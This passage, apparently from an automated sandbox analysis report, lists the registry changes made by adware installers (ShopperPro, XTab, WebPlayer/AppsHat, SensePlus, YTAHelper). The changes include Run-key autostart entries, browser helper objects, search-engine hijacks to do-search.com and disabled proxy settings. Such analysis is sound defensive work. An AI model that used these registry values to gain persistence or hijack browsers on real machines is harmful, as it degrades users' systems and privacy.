"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Tempo]

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process SciLors GrooveDownloader.exe:3808 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Tracing\SciLors GrooveDownloader_RASAPI32]
"ConsoleTracingMask" = "4294901760"
"EnableFileTracing" = "0"

[HKCU\Software\Microsoft\Direct3D\MostRecentApplication]
"Name" = "SciLors GrooveDownloader.exe"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Tracing\SciLors GrooveDownloader_RASAPI32]
"FileDirectory" = "%windir%\tracing"
"EnableConsoleTracing" = "0"
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Tracing\SciLors GrooveDownloader_RASMANCS]
"EnableFileTracing" = "0"
"MaxFileSize" = "1048576"
"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Tracing\SciLors GrooveDownloader_RASAPI32]
"MaxFileSize" = "1048576"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Tracing\SciLors GrooveDownloader_RASMANCS]
"ConsoleTracingMask" = "4294901760"
"EnableConsoleTracing" = "0"
"FileTracingMask" = "4294901760"

The process 671594b7-fc54-4f9f-982b-96db5cfc3669-4.exe:1844 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Tempo]
"(Default)" = "tempo"

[HKLM\SOFTWARE\Wow6432Node\iWebar\U/mwtMJQRCKR0dU2rxQ4oph6X45x6O83/tPa4qzbRFFQlpD8vi6EOqZi22NegCITusO1G3TtiH4LD Z8Lxftub6x5B8oXx7BwmBtVZA3jXV8s 2z06x6XpZkQN/5ATUtsPzEooip2Zh6xCXLYw dv uJG8jyegsaBUbTRn9nZDo=]
"Ul0n1X03IbQ6xiPBCEDslxZ9fsRrLJ/vqSZLr9gZ0O KUCestLVRWje2vR4RIlDDKH6ZKOwvlLyt17ra1z7xzZbKWwqNFFUjlmufcqRV4ch2iTPwfFjrdfz6c e4uUdC3qjqU0STqs6kBy2ggedKg6oa4w0h8SvBpRP2bxSQ61k=" = "1"

[HKLM\SOFTWARE\Wow6432Node\iWebar\Sxuc s6UHdkkBMI3TPbMDdOjupuw7F18Q7PshVRAk FZxDEu/apwrp/9MdF8gTh0dCgXajutsY2KOoFd bv1IitpbTes0RLNENToBGpPazaoliQi1tkegTAcOIGyiV3QRp6V6OquZlyL /e6vfFjGnQ2gaaJ1Jlo4GCXzibNflw=]
"llN1Jcd35X4oPnbdFkuoaACNUqQF3snJnuz/hEY7eN/KVqlSiUdbHUs0LaqrObNekoMAj 6UjKIgs U8d5qa1I/EEhPonbr1w3ffKbLitE1rN/cC9quJsxaJcPzDykUgzwFqrF/ Gzt 478ht9jhE3pvsTEzQ23gIYgcxI94mLs=" = "1"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Tempo]

The process ShopperPro.exe:3332 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"UserId" = "0a07b856-4afb-4d38-b0a2-1b317b4453c9"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"NoExplore" = "1"

[HKLM\SOFTWARE\ShopperPro]
"CONFIGLOCATION" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"Aff" = "smtyc"

[HKLM\SOFTWARE\ShopperPro]
"DBLocation" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionTime" = "14 85 FA E3 23 77 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "88 47 7B E2 23 77 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"ExeLocation" = "%Program Files% (x86)\ShopperPro"
"Version" = "3.0.9093.1748"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"DBLocation" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 51 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"CONFIGLOCATION" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"ChromeExtFile" = "ShopperPro.crx"
"ChromeExtID" = "ojhagnahfpegocdhlopgljpaafeogmcc"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "ShopperProBHO"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"DriverVersion" = "1.41.0.1748"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro\ExtraInfo]
"DBVersion" = "1.0.1.4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1.41.0.1748\jsdrv.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1.41.0.1748\jsdrv.exe"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process XTab_Setup2121.exe:960 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}\1.0\HELPDIR]
"(Default)" = "%Program Files% (x86)\XTab"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Ext\CLSID]
"{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}" = "1"

[HKLM\SOFTWARE\Wow6432Node\supTab]
"ptid" = "smt"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"TopResultURL" = "http://www.bing.com/search?q={searchTerms}&src=IE-TopResult&FORM=IETR02"
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 5C 00 00 00 09 00 00 00 00 00 00 00"

[HKCR\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}\1.0]
"(Default)" = "SupTabLib"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"FaviconURL" = "http://www.bing.com/favicon.ico"

[HKCR\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}\1.0\FLAGS]
"(Default)" = "0"

[HKCR\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}\1.0\0\win32]
"(Default)" = "%Program Files% (x86)\XTab\SupTab.dll"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}]
"(Default)" = "IETabPage Class"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}\TypeLib]
"(Default)" = "{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}\InprocServer32]
"(Default)" = "%Program Files% (x86)\XTab\SupTab.dll"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}]
"(Default)" = "IIETabPage"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Ext\PreApproved]
"{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}" = ""

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"Version" = "1.0"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}\Version]
"(Default)" = "1.0"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"FaviconPath" = "C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico"
"DisplayName" = "Bing"

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"(Default)" = "{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"FaviconURL" = "http://www.google.com/favicon.ico"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}"

[HKLM\SOFTWARE\Wow6432Node\SupDp]
"dir" = "%Program Files% (x86)\XTab"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"FaviconURL" = "http://do-search.com//favicon.ico"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"(Default)" = "{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}"

[HKCU\Software\Microsoft\Internet Explorer\TabbedBrowsing]
"NewTabPageShow" = "0"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}]
"(Default)" = "IIETabPage"

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"Version" = "1.0"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"FaviconPath" = "C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}.ico"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"TopResultURL" = "http://www.google.com/search?q={searchTerms}&sourceid=ie7&rls=com.microsoft:{language}:{referrer:source}&ie={inputEncoding?}&oe={outputEncoding?}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"TopResultURL" = "http://www.istartsurf.com/web/?type=ds&ts=1429064927&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\AdvancedOptions\CRYPTO\PROTECTEDMODESECURITY]
"CheckedValue" = "PMIL"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"FaviconURLFallback" = "http://www.bing.com/favicon.ico"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"DisplayName" = "Google"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"DisplayName" = "e"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\AdvancedOptions\CRYPTO\PROTECTEDMODESECURITY]
"DefaultValue" = "PMIL"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"FaviconPath" = "C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{E733165D-CBCF-4FDA-883E-ADEF965B476C}.ico"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
"AutoDetect"

The process WebPlayer.exe:4000 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1351234145"

[HKCU\Software\WebPlayer\AppsHat]
"start-on-windows" = "true"
"Config" = "{""group-name"":""AppsHat""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionTime" = "DB 00 87 04 24 77 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "24 85 DC 00 24 77 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\WebPlayer\AppsHat]
"last_config_request" = "Wed Apr 15 05:29:34 UTC 0300 2015"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "WebPlayer.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 62 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\WebPlayer\AppsHat]
"Version" = "2.13"
"first_run_complete" = "true"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"
"WpadDecision" = "0"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"AppsHat" = "C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process Twhaovuu.exe:3188 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\AppDataLow\Software\Crossrider]
"Bic" = "f1455de99fbc9c9080e7ed2fd747836eIE"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SensePlus]
"CrPublisherId" = "20891"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKLM\SOFTWARE\Wow6432Node\Tempo]
"(Default)" = "tempo"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\AppDataLow\Software\Crossrider]
"Verifier" = "b2eb32d323f5359842a735827d51a4f5"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SensePlus]
"DisplayVersion" = "1.36.01.22"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\InstalledBrowserExtensions\20891\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionTime" = "6C C4 2A E8 23 77 D0 01"

[HKLM\SOFTWARE\InstalledBrowserExtensions\20891]
"70299" = "SensePlus"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "D9 C3 B1 E5 23 77 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SensePlus]
"DisplayIcon" = "%Program Files% (x86)\SensePlus\utils.exe"

[HKCU\Software\AppDataLow\Software\Crossrider]
"Verifier" = "b2eb32d323f5359842a735827d51a4f5"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\20891\Status]
"Installed" = "1"

[HKLM\SOFTWARE\Wow6432Node\SensePlus\Installer]
"BundledFirefox" = "1"

[HKLM\SOFTWARE\Wow6432Node\AppDataLow\Software\Crossrider]
"Bic" = "f1455de99fbc9c9080e7ed2fd747836eIE"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\20891]
"70299" = "SensePlus"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SensePlus]
"Publisher" = "Sense "
"DisplayName" = "SensePlus"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 57 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SensePlus]
"CrAppId" = "70299"
"UninstallString" = "%Program Files% (x86)\SensePlus\Uninstall.exe /fcp=1"

[HKCU\Software\InstalledBrowserExtensions\20891]
"70299" = "SensePlus"

[HKCU\Software\InstalledBrowserExtensions\Sense ]
"70299" = "SensePlus"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\InstalledBrowserExtensions\20891\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Tempo]

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process %original file name%.exe:2364 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe,"

The process regsvr32.exe:3920 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\YTAHelper.YTAHelperBHO.1]
"(Default)" = "YTAHelper"

[HKCR\YTAHelper.YTAHelperBHO.1\CLSID]
"(Default)" = "{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}"

[HKCR\YTAHelper.YTAHelperBHO]
"(Default)" = "YTAHelper"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\ProgID]
"(Default)" = "YTAHelper.YTAHelperBHO.1"

[HKCR\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}]
"(Default)" = "YTAHelper"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\FLAGS]
"(Default)" = "0"

[HKCR\Wow6432Node\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\TypeLib]
"Version" = "1.0"

[HKCR\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\TypeLib]
"Version" = "1.0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "YTAHelperBHO"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\HELPDIR]
"(Default)" = "C:\ProgramData\YTAHelper"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0]
"(Default)" = "YTAHelper 1.0 Type Library"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\InprocServer32]
"(Default)" = "C:\ProgramData\YTAHelper\YTAHelper.dll"

[HKCR\AppID\YTAHelper.DLL]
"AppID" = "{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}"

